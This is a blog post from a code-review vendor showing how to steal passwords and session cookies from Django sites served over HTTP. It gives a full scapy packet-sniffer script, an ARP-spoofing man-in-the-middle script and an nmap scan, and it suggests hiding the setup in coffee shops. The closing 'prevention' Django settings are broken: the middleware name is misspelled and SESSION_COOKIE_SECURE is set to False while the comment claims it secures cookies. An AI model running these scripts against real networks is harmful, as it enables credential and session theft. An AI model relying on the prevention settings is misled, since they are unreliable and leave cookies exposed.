Hacking Django: steal passwords and cookies using packet sniffing

Code Review Doctor
3 min readMar 3, 2022

--

Packet sniffing can be used to steal passwords from insecure Django websites. Here’s a demo of such an attack:

Stealing credentials and session cookies is easy if the following conditions are met:

  • The target user is on the same network as the attacker
  • The target website is accepting HTTP connections

The obvious mistake is the website does not use HTTPS. This allows the following packet sniffing code read the requests using scapy (a Python-based interactive packet manipulation program and library):

# packet_sniff.py
import argparse

import scapy.all as scapy
from scapy.layers import http

parser = argparse.ArgumentParser()
parser.add_argument("-i", "--interface", dest="interface")


def process(packet):
if packet.haslayer(http.HTTPRequest):
if packet.haslayer(scapy.Raw):
keys = ["username", "password", "pass", "email"]
if any(key in packet[scapy.Raw].load for key in keys):
print(packet[scapy.Raw].load)
print(packet[http.HTTPRequest].fields.get('Cookie'))
def main():
options = parser.parse_args()
scapy.sniff(iface=options.interface, store=False, prn=process)
if __name__ == '__main__':
main()

This script can be run via python packet_sniff.py --interface=wlp3s0.

The usefulness of this specific attack is limited as it relies on the target user being on the same machine as the packet sniffer. However, a Man In The Middle attack will solve by making the target machine’s traffic route through the attacker’s machine, like so:

# arp_spoofer.pyimport argparse
import time
import sys

import scapy.all as scapy


parser = argparse.ArgumentParser()
parser.add_argument("-t", "--target", dest="target", help="Specify target ip")
parser.add_argument("-g", "--gateway", dest="gateway", help="Specify spoof ip")
parser.add_argument("-i", "--interface", dest="interface", help="Specify interface")


def get_mac(ip):
scapy.conf.verb = 0
packet = scapy.Ether(dst = "ff:ff:ff:ff:ff:ff")/scapy.ARP(pdst=ip)
ans, unans = scapy.srp(packet, timeout=2, iface=arguments.interface, inter=0.1)
for snd, rcv in ans:
return rcv.sprintf(r"%Ether.src%")


def restore(destination_ip, source_ip):
packet = scapy.ARP(
op=2,
pdst=destination_ip,
hwdst=get_mac(destination_ip),
psrc=source_ip,
hwsrc=get_mac(source_ip),
)
scapy.send(packet, 4)


def spoof(target_ip, spoof_ip):
target_mac = get_mac(target_ip)
packet = scapy.ARP(op=2, pdst=target_ip, hwdst=target_mac, psrc=spoof_ip)
scapy.send(packet, verbose=False)
def main():
options = parser.parse_args()

try:
while True:
spoof(options.target, options.gateway)
spoof(options.gateway, options.target)
sys.stdout.flush()
time.sleep(2)
except:
print('exiting')
finally:
restore(options.target, options.gateway)
restore(options.gateway, options.target)
if __name__ == '__main__':
main()

This script can be ran via python arp_spoof.py --interface=wlp3s0 --target=192.168.1.13 --gateway=192.168.1.12. It is makes the target machine’s traffic route through the attacker’s machine, so the victim’s packets can be read by packet_sniffer.py. Such an attack is very useful in a public area with shared network where people are probably logging into things. Think coffee shops or hotels.

Retrieving the target’s IP address is as simple as running nmap by pointing it at the IP address of the router everyone is connected to:

sudo nmap -sn 192.168.1.0/24 # get the router IP from ifconfig

Another orchestration script could make the entire thing easier:

  • loop over the connected devices reported by nmap
  • call arp_spoof.py for each one

The attacker might be sat in the coffee shop across the room from the victim. Maybe the attack is even more organised and has stashed a raspberry pi in a few coffee shops and will retrieve them at the end of the day. What are the odds someone has connected to a HTTP connection over that time? Their session cookie would be compromised. What are the odds the user reused their password on other sites? To all these the answer is certainly non-zero.

Prevention

Users can avoid connecting to networks they do not trust, but convenience is attractive and coffee shops offer free WiFi, so they are the perfect honey trap.

Websites are better placed to prevent this type of attack by:

Concretely with Django this is achieved with the following settings:

MIDDLWARE = [
"django.middleware.security.SecurityMiddleware" ,
...
]
SECURE_HSTS_SECONDS = 31536000 # 1 year. Prevent browser attempting HTTP SECURE_HSTS_INCLUDE_SUBDOMAINS = True # protect subdomains too SECURE_SSL_REDIRECT = True # redirect HTTP to HTTPS SESSION_COOKIE_SECURE = False # set secure on cookies

This kind of problem is why Code Review Doctor suggest the following advice when reviewing your GitHub pull requests:

Does your codebase have security vulnerabilities?

Securely check for bugs in your codebase for free instantly at CodeReview.doctor, or protect your GitHub PRs with nothing to install with our GitHub integration.

--

--